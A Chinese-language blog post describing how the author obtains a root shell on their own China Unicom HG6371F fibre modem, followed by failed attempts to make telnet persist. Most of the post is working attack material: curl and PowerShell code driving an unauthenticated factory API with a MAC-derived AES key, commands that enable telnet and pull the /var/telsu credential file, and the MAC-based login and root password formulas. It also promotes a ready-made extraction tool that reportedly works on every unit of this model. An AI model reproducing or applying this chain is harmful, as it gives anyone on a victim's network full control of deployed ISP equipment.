上一台联通 HG6371F 从猫,我写了篇拆解,把壳子里的芯片一粒粒认了一遍。但拆解只能看到硬件,看不到系统——那篇文章里留了三个“待查证”:主控到底几个核、内存到底多大、PON 那边怎么接的。
这篇就是去把这些问号一个个划掉的过程。说直白点:我要拿到这台猫的 root shell。不是拆机接 TTL 那种,全程只用一台连在同一个 WiFi 下的 Windows 电脑,一根网线都不用动。
先给结论,免得你看到一半不知道我要干什么:这台机器有一整套完整的软件攻破链路,而且每一步都能复现。大致分五步——先拿到 Web 超管,再摸到一个完全不做认证的出厂调试接口,用它把 telnet 服务打开,然后从设备里读出一个叫 telsu 的凭据文件,最后把这串密码的生成规则倒推出来。最讽刺的一点是:这个 root 密码不是随机的,它是由设备自己的 MAC 地址算出来的。知道 MAC 就等于知道密码。
我得先把话说在前面。这台盒子是我自己的,折腾它不涉及任何别人的设备。下面写出来的接口名、参数、公式,都请你只对着自己的设备用。运营商的光猫是入网设备,改动它可能违反和运营商的服务约定,也可能影响装维上门维修——这一点你自己掂量。另外文中所有 MAC、序列号、以及跟设备一一对应的口令实参,我都换成了占位符,公式本身是完整的,你把你自己设备的值代进去就能算。
如果你不想看“长篇大论”的技术分析文章的话,可以直接翻到后面找到对应的工具,工具直接就能提取到光猫超密和telnet账号密码,用这个再去登录,实测同型号的100%成功!
先说清底线:这台机器的公开信息其实不难找
联通定制光猫的超级管理员口令,圈子里几乎是公开的——联通版统一是 CUAdmin,密码也是 CUAdmin,除非装维师傅上门时改过。移动版是 CMCCAdmin 那一套,电信又是另一个名字。你随便搜“联通光猫 超管 密码”,第一个结果里就有。(我拆过的另一台联通光猫 HG3142F 拆解在这,硬件路线不同,套路一样。)
所以第一步严格说算不上“破解”,更像是“确认一下出厂口令有没有被改”。但它有个坑,我在这上面卡了很久,单独说一下。
这台机器的登录接口有个硬性要求:请求里带一个叫 tkn 的参数,它必须和 HTTP 请求头的 User-Agent 一模一样。不一致会怎么样?服务端不报错、不拒绝、不给你任何错误提示,它就静静地回一个 {"random_string":"..."},把你的真实数据全藏起来。很多现成的脚本一跑到这台设备上就“哑火”,返回一堆看不懂的随机串,根子就在这。
这个机制是从前端 JS 里看出来的。xhr.js 里明明白白写着一行:
requestURL += '&tkn=' + navigator.userAgent;
它就是把浏览器的 User-Agent 原样拼到 URL 里当令牌用。这个设计的本意大概是防 CSRF——伪造的请求带不上正确的 UA——但实际上等于没设防,因为 UA 谁都能自己填。你只要保证发出去的 UA 和 tkn 是同一个字符串就行。
下面这段是我实际用的侦察命令。注意先定一个 UA 变量,后面全程用同一个值:
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
# 未授权就能读的设备情报,连密码都不用
curl -sS -A "$UA" \
"http://192.168.2.1/cgi-bin/ajax?ajaxmethod=get_username&tkn=$UA"
返回里会直接告诉你超管叫什么、普通用户叫什么、省份是哪:
admin_user: CUAdmin
common_user: user
area_code: Guangdong
operators_code_ex: FTTR_SUB
看到 admin_user: CUAdmin 这一行,超管账号就到手了。你没看错,这个接口不需要登录,任何人连上这台猫的 WiFi 都能读。接下来登录,密码字段是 loginpd,值是明文的 SHA256——注意是先算摘要再传,不是明文:
# loginpd = sha256(明文),小写十六进制
LOGINPD=$(printf '%s' 'CUAdmin' | sha256sum | cut -d' ' -f1)
curl -sS -A "$UA" -b ck.txt -c ck.txt -X POST \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'ajaxmethod=do_login' \
--data-urlencode 'username=CUAdmin' \
--data-urlencode "loginpd=$LOGINPD" \
--data-urlencode "tkn=$UA" \
'http://192.168.2.1/cgi-bin/ajax'
返回值里 login_result: 0 就是成功。这里顺带记一下错误码,后面有用:0 成功、4 账号或密码错、2 触发限速。这台机器连续错 3 次会锁 60 秒,别猛试。
到这里,Web 超管就到手了。但Web 后台能改的东西其实很有限——它是个桥接模式的从机,大部分无线参数被主猫托管着,改不动。真正有意思的东西,藏在另一个完全没人提过的地方。

转折点:一个不做任何认证的出厂接口
我在翻这台机器的 Web 目录结构时,注意到一个叫 /fh_tool/ 的路径。fh 是 FiberHome,烽火的缩写。/fh_tool/api 这个端点,是整个故事真正的支点。
它长这样:你往它发一段加密的 JSON,它返回一段加密的 JSON。看起来像是有些安全设计对吧?问题在于——它的加密密钥,完全是由设备自己的 MAC 地址算出来的,不带任何密码。
而 MAC 地址,你随便在同网段敲个 arp -a 就能拿到。所以这个“加密”,等价于没有认证。
推导规则我完整地写在这里。三个公式,逐字复现:
# 输入:MAC 地址,大写、去掉冒号和横杠,例如 MAC_ADDR
d = sha256(MAC).hexdigest() # 64 位小写十六进制
key = ''.join(d[2*i + 2] for i in range(16)) # 16 个 ASCII 字符
iv = ''.join(d[3*i + 3] for i in range(16)) # 16 个 ASCII 字符
# 请求体 = Base64( AES-128-CBC( PKCS#7( JSON ) ) )
# 用 key/iv 加密,POST 到 /fh_tool/api,Content-Type: text/plain
# 响应同法解密
为什么是 [2i+2] 和 [3i+3] 这种取法?说白了就是从 SHA256 摘要的十六进制串里,隔一个字符挑一个、隔两个字符挑一个,各凑够 16 个字符当 key 和 iv。这是个很典型的“看着很随机、其实就是随手定了个步长”的实现,谈不上什么密码学设计。
PowerShell 里实现一遍大概是这样(Windows 自带,不需要装任何东西):
$mac = 'MAC_ADDR'
$sha = [System.Security.Cryptography.SHA256]::Create()
$d = ($sha.ComputeHash([Text.Encoding]::ASCII.GetBytes($mac)) |
ForEach-Object { $_.ToString('x2') }) -join ''
$key = -join (0..15 | ForEach-Object { $d[2 * $_ + 2] })
$iv = -join (0..15 | ForEach-Object { $d[3 * $_ + 3] })
function Fh([string]$func, [hashtable]$extra) {
$o = [ordered]@{ index = '1'; func = $func }
if ($extra) { foreach ($k in $extra.Keys) { $o[$k] = $extra[$k] } }
$json = ($o | ConvertTo-Json -Compress)
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = 'CBC'; $aes.Padding = 'PKCS7'
$aes.Key = [Text.Encoding]::ASCII.GetBytes($key)
$aes.IV = [Text.Encoding]::ASCII.GetBytes($iv)
$ct = $aes.CreateEncryptor().TransformFinalBlock(
[Text.Encoding]::UTF8.GetBytes($json), 0, $json.Length)
$raw = curl.exe -s -H 'Content-Type: text/plain' -H 'Connection: close' `
--data-binary ([Convert]::ToBase64String($ct)) 'http://192.168.2.1/fh_tool/api'
if (-not $raw) { return 'EMPTY' }
$b = [Convert]::FromBase64String($raw.Trim())
[Text.Encoding]::UTF8.GetString($aes.CreateDecryptor().TransformFinalBlock($b, 0, $b.Length))
}
有了这个 Fh 函数,就等于有了一把万能钥匙。第一枪打出去,我试的是最普通的那个:
Fh 'GetDevInfo' @{}
# 返回:完整设备档案,MAC、SN、固件版本、硬件版本、编译时间……
Fh 'GetAdminAccount' @{}
# 返回:{"adminname":"CUAdmin","adminpwd":"CUAdmin"}
第二行值得停一下。这个接口直接把 Web 超管的明文账号密码吐给你,连登录都不用。也就是说,前面那一大段分析 UA 和 tkn 的功夫,绕开它照样能拿超管——只是那个接口告诉你“是什么”,这个接口直接告诉你“输什么”。
靠响应差异,让设备自己告诉我它有哪些功能
拿到了能调用任意函数的通道,下一步自然是问:它到底支持哪些函数?
这台设备没有文档,没有接口列表,前端 JS 里也搜不到完整的函数名。但它有个很可爱的特性——不同情况下的响应不一样,能当探针用:
| 响应 | 含义 |
|---|---|
{"result":0} | 函数存在,且参数正确,执行成功 |
{"result":-1} | 函数存在,但参数不对 |
| 空响应 | 函数不存在 |
这三档差异,等于给了我一个“函数名 oracle”。我写了个脚本,把能想到的名字一个个灌进去,看返回是哪一档。很快,可用函数的清单就出来了:
TelnetEnable # 开关 telnet 服务 ← 就是它
UploadPrepare # 签发上传令牌,且不绑定来源 IP
GetAdminAccount # 明文吐超管凭据
GetPreconfig # 34 个省份的预配置清单
SetPreconfig # 切换省份预配置 ← 有副作用,后面细说
RestoreDefaultSettings # 恢复出厂设置
GetDevInfo / GetResult / LogDownload / OpenFHDebugLog
DownloadFile # 按白名单读设备里的文件
TelnetEnable。看到这四个字的时候我就知道这条路走通了。
但比“发现了什么”更有价值的,是“确认了没有什么”。我把一百多个候选函数名扫了一遍,下面这些全是空响应——不存在:
任意文件写: UploadFile WriteFile PutFile SaveFile SetFile
CopyFile DeleteFile RemoveFile ImportFile
配置读写: SetConfig SaveConfig GetConfig RestoreConfig
命令执行: ExecCommand RunCommand Command Shell GetShell
telnet 凭据: SetTelnetPassword SetTelnetInfo GetTelnetPassword
SetTelsu SetSuPassword SetRootPassword
系统信息: GetMemoryInfo GetFlashInfo GetCpuInfo
这组否定结论,直接决定了后面所有的路线选择。因为我原本的如意算盘是:既然能开 telnet,那就找个改密码的接口,或者干脆写个文件进去。但这两条路都堵死了——没有任意文件写,也没有任何读写 telnet 凭据的接口。所以我只能开着 telnet 干瞪眼,先想办法搞到登录口令。
顺便说 DownloadFile 这个接口,它是后面读凭据的关键。它能读 /var/ 和 /fhconf/ 下面已经存在的文件,但 /proc/、/fhrom/ 被专门拦掉了,所有 ../ 穿越变体也一并拒绝。它返回一个下载链接,看着是 .tar.gz:
Fh 'DownloadFile' @{ fileName = '/var/telsu' }
# -> {"Dowloadurl":"/fh_tool/tool_download?XXXXXXXX.tar.gz","result":0}
curl -s -o dump.tar "http://192.168.2.1/fh_tool/tool_download?XXXXXXXX.tar.gz"
tar -xf dump.tar # 注意:不是 -xzf
那个 .tar.gz 是骗人的,里面其实是没压缩的 tar,用 tar -xf 解就行。我第一次用 -xzf,报“invalid magic”,还以为是文件坏了,白折腾了一轮。
把 telnet 开起来,然后卡在登录框上
开 telnet 就一行:(顺便挂一个:之前折腾华为 V175 光猫开 telnet,走的是完全不同的路子——补全 shell 刷公版固件,和这台靠出厂接口硬开正好是两种思路。)
Fh 'TelnetEnable' @{ telnet = '1' }
# -> {"result":0}
发完这条,TCP/23 立刻就监听了。连上去看到的是:
Login:
Password:
好,然后就是一段让人的血压升高的经历。我手里有 Web 超管口令 CUAdmin,有设备标签上的普通用户口令,有网上能搜到的一堆烽火默认口令——全试了一遍,一个都不对。
telnet 这边有个特点:密码错了它会回一个 Error!,然后把 Login: 再弹一遍。也就是说它不告诉你用户名对不对,只告诉你这个组合不对。你甚至不知道 admin 这个用户名是不是存在的。
试过的组合我记了一部分,全是密码错误:
| 用户名 | 密码来源 | 结果 |
|---|---|---|
| telnetadmin | 网上搜的烽火默认 | 密码错误 |
| telnetadmin | 默认口令 + MAC 后 6 位 | 密码错误 |
| admin | Web 超管 CUAdmin | 密码错误 |
| root | fiberhome / hg2x0 | 密码错误 |
| CUAdmin | 各种 | 密码错误 |
到这一步,通常的思路是“上爆破”。我确实试了 6 位纯数字,跑了 20 万次(000000 到 199999),没命中,按这个速度跑满一百万种大概要两个多小时。但我不想这么干,因为我不确定它是不是纯数字——如果密码里带字母,百万级爆破就是个笑话。
我决定换个思路:不猜密码,去找密码本身。
凭据文件:它把 root 密码明明白白写在了一个文件里
烽火的固件里,有一个专门给 telnet 提权用的凭据文件,路径是 /var/telsu。telsu 就是 telnet su 的缩写——这个名字本身就说明了它是干什么的。
前面那个 DownloadFile 正好能读 /var/。于是:
Fh 'DownloadFile' @{ fileName = '/var/telsu' }
curl -s -o telsu.tar "http://192.168.2.1/fh_tool/tool_download?XXXXXXXX.tar.gz"
tar -xf telsu.tar
cat var/telsu
解开之后,里面就一行:
root:$5$fh$<HASH_BODY>:0:0:Telnet user:/var:/bin/ash
这是标准的 passwd 格式,拆开看:
root是用户名,提权的目标就是 root。$5$fh$...是密码的哈希。$5$表示 SHA256-crypt,fh是盐——FiberHome 的缩写,这个盐值本身就把厂商供出来了。0:0是 uid/gid,都是 0,即超级用户。- 最后是 shell 路径
/bin/ash,一个 busybox 的 shell。
但哈希不等于密码。这是 SHA256-crypt(5000 轮),硬算是能算,但没有 GPU 或者不写个专门的工具,纯 CPU 一个一个试效率很低。我需要的不是算力,是那条生成规则。
决定性的一步:证明它是“固定值”而不是“随机值”
写到这我得强调一下,这一步是我整个流程里最关键的一个判断,也是从“暴力破解”转向“找公式”的分水岭。
当时我面前有两种可能:
- 可能一:这个密码是运行时随机生成的。每次开机都换一个,跟设备无关。如果是这样,那个哈希就是个死胡同,你只能硬碰运气。
- 可能二:这个密码是由某个固定值(比如 MAC、序列号)算出来的。如果是这样,只要找到公式,任何一台同型号设备都能算。
怎么区分这两种?我想了个办法:让它恢复出厂设置,然后看这个文件变不变。恢复出厂会把设备打回最原始的状态,如果是随机生成的,那出厂重置后重新生成的密码大概率就变了;如果是固定规则算出来的,它应该纹丝不动。
Fh 'RestoreDefaultSettings' @{}
# 然后重新下载 /var/telsu 比对
结果很干净:文件里的哈希,一个字符都没变。MAC 没变,超管账号也还是 CUAdmin。
这就把问题从“爆破一个随机密码”变成了“找一个由 MAC 决定的公式”。难度直接降了一个数量级。
事后补充一句:这个“恢复出厂对比法”虽然有效,但它不是没有代价的,我犯了个操作失误(详见后面“踩坑”那一节)。如果你要复现这个判断,务必要事先想清楚这步的风险,而不是像我一样先斩后奏。
公式自证:不用信我,你自己用哈希核一遍
确定是公式之后,我去社区找线索。chinadsl.net 上有针对同固件家族的分析,作者是反编译固件里的 serviceMgr 二进制得出的,结论大概是这么几条:
电信版 su 密码 = "Fh@" + MAC 大写后 6 位
移动版 su 密码 = "hg2x0" + MAC 大写后 6 位
移动版登录 = 用户名 admin / 密码 "Fh@" + MAC 大写后 6 位
但我不打算直接信这个。社区经验文经常互相抄,抄错一个字符就全盘报废,而且不同版本之间规则也不一样。我有现成的哈希,为什么不自己验一遍?
台机器上有 openssl,它自带 SHA256-crypt 的实现,正好拿来当验证器。思路很简单:把我猜的密码用同样的盐(fh)算一遍哈希,和文件里的逐字符比对,对上了就是它。
# 目标哈希,从 /var/telsu 里读到的
TARGET='$5$fh$<HASH_BODY>'
MAC_ADDR='MAC_ADDR'
LAST6=${MAC_ADDR:6} # 取 MAC 最后 6 个字符
for cand in "hg2x0${LAST6}" "Fh@${LAST6}" "hg2x${LAST6}"; do
h=$(openssl passwd -5 -salt fh "$cand")
if [ "$h" = "$TARGET" ]; then
echo "HIT: $cand"
fi
done
跑出来的那一刻,我盯着屏幕看了一会:
HIT: hg2x0<MAC 后 6 位>
命中了。也就是说,这台联通版 HG6371F 的 su 密码,就是 hg2x0 拼上 MAC 地址的最后 6 个字符,大写。这个哈希不是随便说说的——它和文件里的值完全一致,这是数学证明,不是我猜的。
顺手把登录那套也验了一下。同样的方法,telnet 的登录密码是 Fh@ 拼 MAC 后 6 位:
用户名: admin
密码: Fh@ + MAC 大写后 6 位
所以这台机器是两套口令,千万别混用——先拿 Fh@... 登录进去,再在会话里用 hg2x0... 提权。我一开始拿着 su 密码去登录,怎么都不对,在这上面卡了好一阵。
| 用途 | 用户名 | 口令 | 提示符 |
|---|---|---|---|
| telnet 登录 | admin | Fh@ + MAC 后 6 位 | /tmp $ |
| 提权到 root | — | hg2x0 + MAC 后 6 位 | /tmp # |
进去之后:
su
# 输入 hg2x0 + MAC 后 6 位
id
# uid=0(root) gid=0 groups=0
root shell 到手。
不过这里有个判读的坑,我踩过,必须说出来。telnet 服务端会把你的输入回显给屏幕。也就是说,你敲的密码会原样出现在你的输出里。如果读取窗口太短,你会把回显的密码误认成“登录成功了”。唯一可信的成功判据,是屏幕上出现 $ 或者 # 提示符,或者出现 Error!。不是看见自己敲的密码就算成功,那只是回显。
进了 shell,终于能把之前那三个问号划掉
拿到 root 之后,我先做了三件事——都是拆解那篇文章里没法定论的地方。


第一个是核数。网上一致的说法是“BCM68252 是双核 A7”,但 /proc/cpuinfo 里 processor 编号从 0 排到 2,是三个。CPU part 是 0xc07,ARM 官方编码里这就是 Cortex-A7,架构 v7l。为了确认不是读到了虚拟核或者别的什么,我又看了 /proc/device-tree 和编译配置——都指向三核。所以这个流传很广的“双核”说法,至少在联通这一版上是不对的。顺手记一句:拆解文里我写的是“照旧摆出两种说法”,现在可以给结论了。

第二个是内存。拆解时那颗颗粒被屏蔽罩焊死罩着,看不到丝印。/proc/meminfo 给了点名分:MemTotal: 508012 kB,约合 496MB,也就是说标称的 512MB 是对的——少的十几兆是给硬件保留区和系统开销留的,正常。这样一来,拆解文里“只能信第三方说它 512MB”那句,现在坐实了容量这一半。至于到底是哪家的颗粒,屏蔽罩没剪开,我依然看不到,不做断言。

第三个是闪存。cat /proc/mtd 第一行 mtd0: 10000000,0x10000000 正好是 268435456 字节,也就是 256MB——和闪存芯片型号 25N02KVZEIR 里那个“02”完全咬合,印证了华邦那颗确实是 2Gbit。
但比容量更值得看的,是分区怎么切的。你会发现 bootfs1/rootsfs1 和 bootfs2/rootsfs2 是两套完整的系统分区,frameworka 和 frameworkb 也是成对的。这就是 A/B 双分区方案:升级的时候先往备用分区写,校验通过了再切换启动,写坏了还能退回旧的那套。
说白了,运营商设备最怕的就是升级变砖、然后师傅上门换机,双分区就是为这个准备的保险。这一块的规矩程度,比我见过的不少消费级路由器都高。

顺便看了下 device-tree,有个地方解释不了。model 写的是 968252CREF_6371,compatible 是 brcm,bcm96855——两个编号都不是“68252”。我的推测是:博通对这类家庭网关 SoC 习惯用两套编号,68252 是给客户看的销售型号(写在芯片丝印上),9685x 是它内部的平台代号(固件和 DTB 用后者)。没有官方文档佐证,仅供参考。

固件的几个数字也顺手记下来:内核 4.19.183,编译时间 2024 年 7 月 25 日,image_version 是 96825GW0V_CU——末尾那个 CU 就是联通定制版的标记,同一套硬件卖到移动、电信就是另外的代号。编译配置里 BRCM_CHIP=6855、BRCM_BOARD_ID="96855",跟 device-tree 对得上。
有个地方我纠结了很久,也一并说清楚——这颗 SoC 在这台机器上至少有三种叫法,容易把人搞晕:芯片丝印上是 BCM68252(也是网上普遍流传的名字);固件和 device-tree 里用的是 96855 / 6855 这套平台代号;而中间件插件名里又写着一个 BCM504B32(..._arm_fiberhome_BCM504B32_F)。我的判断是这三个指同一颗芯片的不同层面:68252 是对外的销售型号,9685x 是博通内部的平台编号,504B32 则更像是方案/封装代号。没有官方文档能一锤定音,我把三个都摆出来,你看到哪个都不至于认错设备。
另外说一句刷机的事。编译配置里 SECURE_BOOT_ARCH=GEN3、BTRM_BOOT_ONLY=y,安全启动是打开的,引导链从最底层就锁死了。配合运营商签名校验,第三方固件基本没有塞进去的可能——这台机器的定位就是安安静静做个从机,别指望它变成一台能折腾的路由器。
拿到 root 之后,我想让它活过重启——结果全盘失败
上面这些都是“当场能用”的东西。但有个问题我一直没解决:这个 telnet 是 runtime 状态的,一重启就没了。我得重新跑一遍 TelnetEnable 才能再连上。对一台放在角落里的猫来说,这很烦。
所以我花了整个下半场,想把它“固化”下来——让机器每次开机自己把 telnetd 拉起来。结论先摆在这儿:没做成,而且在可见的手段里,我认为做不成。下面把这条死路完整走一遍,包括每一步为什么失败、失败的证据是什么。我觉得这部分比前面顺利的那半段更值得写,因为顺利的部分你照着抄就行,失败的部分才是真正花时间的地方。
先说清楚我要对抗的三个约束,缺一个这段都不成立:
TelnetEnable只写 runtime。发完指令 23 端口立刻监听,但你去回读配置项,它还是0。这个开关根本没落盘。- 存在一个 24 小时自动关闭的定时器。配置项叫
X_FH_TelnetForceOffTime,默认86400秒。也就是说,就算你手动开着,一天之后它也会自己关掉。 - 恢复出厂和重启都会把它打回未开启。这条最要命,因为它意味着“开了就完事”这条捷径不存在。
换句话说,我要找的是一个在开机流程里、能被我改写、且改完不会把整机搞坏的地方。这三个条件听着不难,实际找起来才发现处处是墙。
先找开机时到底是谁把 telnetd 拉起来的
拿到 shell 的好处是,这些事可以直接在机器上查。我第一件事就是搜开机脚本:
grep -rn -i telnet /etc/init.d/
命中了三处,但只有一处是真的在跑:
/etc/init.d/rcS1:73 /fhrom/bin/telnetd -L 23 -D ← 唯一生效点
/etc/init.d/rcS2:54 #telnetd -p 23 -D ← 历史遗留,已被注释
/etc/init.d/rcS_debug:49 /fhrom/bin/telnetd -L 23 -D
盯着 rcS1 那一行往上翻了几行,立刻就明白了——它不是无条件执行的,它挂在一个工厂模式标志上:
if [ -e "/fhdata/factorymodeflag" ]; then
mount -o remount,sync,rw /fhdata
/fhrom/bin/telnetd -L 23 -D
fi
那就顺着这个标志查它的来龙去脉。翻完发现它的生命周期是这样的:rcS 第 40 行,如果 /fhdata/factory_conf 不存在就 touch 一个标志;然后 rcS1 第 29 到 41 行,如果 area_code 不是 Temp 就把它删掉;最后 rcS1 第 71 行,如果它还在,就启动 telnetd。
看起来有戏:只要把 area_code 调成 Temp,再让那个标志留下来,开机就能自动起 telnet。但我往下多读了几行,就发现这是个陷阱。
if [ -e "/fhdata/factorymodeflag" ]; then
insmod .../extra/hnd_mfgtest.ko ← 工厂测试驱动
else
insmod .../extra/hnd.ko ← 生产驱动
fi
if [ -e "/fhdata/factorymodeflag" ]; then
insmod .../extra/wl_mfgtest.ko ... ← 工厂测试无线固件
else
insmod .../extra/wl.ko ... ← 生产无线固件
fi
这个标志不只决定 telnet,它还决定整机加载哪一套驱动。标志在位,加载的是工厂测试版无线固件;标志不在,才加载生产版的。为了一条 telnet,把整台机器的 WiFi 换成测试固件,这不划算。我直接把这条路划掉了。
到这里只剩一个选择:绕开这个标志,另找一个开机时会执行我内容的地方。于是我开始翻文件系统里到底哪些面可写。
摸底:这台机器上哪些地方是能写、而且写的能留住的
一条 mount 把所有分区摊开看了个明白:
/dev/ubiblock0_4 on / type squashfs (ro,relatime) ← 只读
ubi2_0 on /fhdata type ubifs (ro,sync,...) ← 平时只读
ubi1_1 on /fhconf type ubifs (rw,sync,...) ← 可写 + 持久
ubi1_0 on /opt/cu/apps type ubifs (rw,sync,...) ← 可写 + 持久
/dev/mtdblock4 on /opt/cu/framework type squashfs (ro,relatime) ← 只读
none on /tmp type tmpfs (rw,...) ← 能写但重启就丢
这张表基本定了调子。根文件系统 / 是 squashfs,只读,别想动;/tmp 能写但是内存盘,重启清零。真正“能写 + 能持久”的只有两个地方:/fhconf 和 /opt/cu/apps。所以接下来所有尝试,都只能在这两个目录里想办法。
尝试一:往 process_start_list 里加一行(失败)
在可写区 /fhconf 里,有一个文件名看起来特别对症:process_start_list——进程启动清单。名字本身就在暗示“我负责决定开机起哪些进程”。
为了确认它不是空想,我扒了一下负责读它的那个程序 sysmgr,确实在里面找到了这个文件名,而且不止一个变体:
grep -ao '/fhconf/[a-z0-9_/]*' /fhrom/bin/sysmgr | sort -u
# /fhconf/process_start_list
# /fhconf/fac_process_start_list
# /fhconf/process_monitor_list
更好的是,这个文件还在“持久化白名单”里——也就是说它的内容是被系统认可、允许写入并保留的:
filename:[process_start_list],filesize:[1],wildcard:[0];
到这一步,我的把握很大了。清单的文件名对、被 sysmgr 读、在持久化白名单里、格式我也能从现有内容推出来。于是照葫芦画瓢,追加一行,格式跟既有行保持一致:
cp /fhconf/process_start_list /fhconf/process_start_list.bak
echo 'telnetd,ready:[false],cmd:[/fhrom/bin/telnetd -L 23 -D];' >> /fhconf/process_start_list
sync
tail -2 /fhconf/process_start_list
然后重启。结果:失败。telnet 没起来。而且失败得很干脆——重启后我去连 23 端口,得到的是“积极拒绝”,也就是根本没有进程在监听。
失败不可怕,可怕的是不知道为什么失败。我一条条查下去,凑齐了三条证据,正好把这行代码为什么没用解释得明明白白。
证据一:我的改动确实留下来了。先排除“没写进去”这种低级可能:
-rw-r--r-- 1 root 0 1751 /fhconf/process_start_list ← 从 1694 增到 1751 字节
tail -2 /fhconf/process_start_list
faultlog_loop,ready:[false],cmd:[/fhrom/fhshell/faultlog_loop.sh &];
telnetd,ready:[false],cmd:[/fhrom/bin/telnetd -L 23 -D]; ← 加的行还在
文件从 1694 字节长到 1751,加的那行也确确实实在末尾。文件没丢,写的动作是成功的。
证据二:设备本身是健康的。为了排除“机器没起来”这种可能,我确认了 HTTP 200、ping 通、DHCP 正常、MAC 没变。设备好好的,唯独 23 端口是“积极拒绝”——不是超时、不是被防火墙挡,而是这个端口上根本没有程序在监听。
证据三——这条是决定性的:sysmgr 根本不认识 telnetd 这个名字。
grep -ac telnetd /fhrom/bin/sysmgr # → 0
grep -ao 'ready' /fhrom/bin/sysmgr | wc -l # → 8
两个数字,把事情说透了。telnetd 在 sysmgr 里出现 0 次;而 ready 这个关键字只出现 8 次。这说明 sysmgr 只认它内置的那 8 个服务——它是拿清单里的名字去查一张写死在程序里的表,表里没有的名字,它直接忽略。我加的那行格式完全正确,但名字不在它的白名单里,等于没写。
顺手把改动撤了,不给设备留垃圾:
cp /fhconf/process_start_list.bak /fhconf/process_start_list
sync
rm -f /fhconf/process_start_list.bak
这一轮学到的东西:“文件可写 + 格式正确 + 程序读它”这三条,是一条 必要但不充分 的经验。真正起决定作用的是第四件事——那个程序认不认你写的名字。sysmgr 只处理内建服务,这是从外部完全看不出来的,只有把二进制翻出来数名字才能发现。
尝试二到四:把剩下的可能一条条排除
第一条路断了之后,我顺着“到底谁在管 telnet”这根线继续挖。这次找到了真正的正主:不是 sysmgr,是 serviceMgr。
for f in /fhrom/bin/serviceMgr /fhrom/bin/sysmgr; do
printf '%s telnetd=' $f; grep -ac telnetd $f
done
# /fhrom/bin/serviceMgr telnetd=65 ← 65 处引用
# /fhrom/bin/sysmgr telnetd=0 ← 一处没有
65 比 0。这下清楚了,前面摸 sysmgr 算是摸错了对象。serviceMgr 的符号表里,整个 telnet 子系统一览无余:
TelnetEnable TelnetPassword TelnetUserName TelnetAccount TelnetPort
TelnetLANPort TelnetWANPort TelnetLogEnable TelnetType
s_telnet_forceofftime ← 就是那个 24 小时定时器
s_telnetd_config set_telnetd_config system_set_telnetd_config
system_set_telnetd_config_param_cu ← 联通版专属分支
system_telnetd_forceoff_manage ← 24 小时倒计时管理
system_telnetd_process_init ← 进程初始化入口
看到这份符号表,我当时的想法是:既然有 set_telnetd_config 这种名字,那就说明它的配置是能从某个文件读的。找到那个文件,把开关写进去,不就固化了?于是又是一轮排查,结果是把剩下的路一条条走死了。
第二条路——把 telnet 配置写进 factory_conf(失败)。serviceMgr 的路径常量里确实有 /fhconf/factory_conf,看起来像是它的配置源。但把这个文件翻了个底朝天,什么也没找到:
grep -n -i telnet /fhconf/factory_conf # 无输出
grep -n -i telnet /fhdata/factory_conf # 无输出
uci show -c /fhconf | grep -i telnet # 无输出
整个 /fhconf 的 uci 配置里,没有任何一项跟 telnet 有关。TelnetEnable 虽然是个正经的配置键,但没有任何落盘文件承载它——它是纯内存态,只活在 serviceMgr 的运行期里,进程一重启就归零。这也就解释了为什么前面回读它是 0:它压根就没往盘上写过。
第三条路——改开机脚本(失败)。既然启动点写死在只读的 /etc/init.d/rcS1 里,那我就试试把它变可写:
mount -o remount,rw /
# rc=0 ← 命令自称成功
mount | grep ' / '
# 仍为 (ro,relatime) ← 实际根本没变
touch /etc/__wtest
# WRITE_FAIL ← 铁证
这段很典型。remount 命令返回 0,看着像成功了,但 mount 一查还是只读,实际 touch 一下立刻 WRITE_FAIL。squashfs 从设计上就不可写,remount 不报错但也不生效——这是一个很容易让人误判“我改成功了”的陷阱。
这里还有个细节,我踩过所以记一下:/etc/init.d 这个目录的权限是 drwxrwxrwx,777,看着谁都能写。但目录权限跟文件系统是否只读是两码事——你依然写不进去一个字节。权限给得再宽,也架不住底下的文件系统是只读的。
第四条路——在可写区放一个可执行脚本,等它被调起来(失败)。我换了个思路:既然不能改脚本本身,那能不能让脚本去调用一个放在可写区的文件?我提取了 serviceMgr 里所有引用的脚本路径:
grep -ao '[a-zA-Z0-9_./-]*\.sh' /fhrom/bin/serviceMgr | sort -u
# /fhrom/fhshell/keep_sending_rs.sh
# /fhrom/fhshell/voice_init.sh
# /fhrom/fhshell/whitemac_report.sh
# /var/get_ipv6_addr.sh
四个脚本,全部落在只读的 /fhrom/ 下。没有任何一个来自可写区(/fhconf、/fhdata、/opt/cu/apps)。serviceMgr 引用 /fhconf/ 的时候,只读 .conf 这类配置文件,从不执行脚本。想在可写区塞一个“开机自动跑”的钩子,这条路也没有。
还有一个细节我顺手记一下:官方的参数工具 cfg_tool 其实是能读写参数的,但它是坏的——/fhrom/bin/cfg_tool 一跑就报缺库:
openssl: error while loading shared libraries: libssl.so.1.0.0
tar: invalid magic
固件把 openssl 的动态库漏打包了,除非自己补齐这个 .so,否则官方工具根本用不了。我本来是打算绕开它走 process_start_list 的,现在回头看,绕不绕都没用——那条路前面已经证明死了。
为什么一定失败:一句话的根因
把上面所有失败收口,根因其实很简单,一句话:
telnet 的开关状态,在 serviceMgr 内部是纯内存态。TelnetEnable 有配置键的名字,却没有落盘的实体;而开机唯一能拉起 telnetd 的地方,被工厂模式标志把守着,代价是换掉整机无线驱动。一头是纯内存、一头是动不得,中间没有第三个入口。
整理成一张表,把每条路和它的决定性证据列清楚:
| 尝试 | 结果 | 决定性证据 |
|---|---|---|
/fhconf/process_start_list 追加一行 | 失败 | sysmgr 里 telnetd 出现 0 次、ready 只有 8 个 |
serviceMgr 的配置项 | 失败 | factory_conf 与 uci show -c /fhconf 都没有 telnet 项 |
改 /etc/init.d/rcS1 | 失败 | remount,rw 返回 0,但 touch 仍 WRITE_FAIL |
改 /etc/passwd_old | 失败 | 同处只读 squashfs |
cfg_tool 写参数 | 失败 | 缺 libssl.so.1.0.0,解不开加密参数包 |
/fhconf 放可执行钩子 | 失败 | serviceMgr 只引用 .conf,没有 .sh 执行路径 |
建 factorymodeflag | 有代价 | 唯一能生效,但会换掉无线驱动并关停多项服务 |
排除掉所有其他选项之后,剩下的路只剩两条,而我一条都不推荐:要么接受工厂模式的副作用(WiFi 驱动换成测试固件,另外还有好几个服务不启动);要么用编程器直接刷 squashfs 镜像(但整篇的前提就是手边没有编程器)。
换思路:既然改不了设备,那就把守护放在设备外面
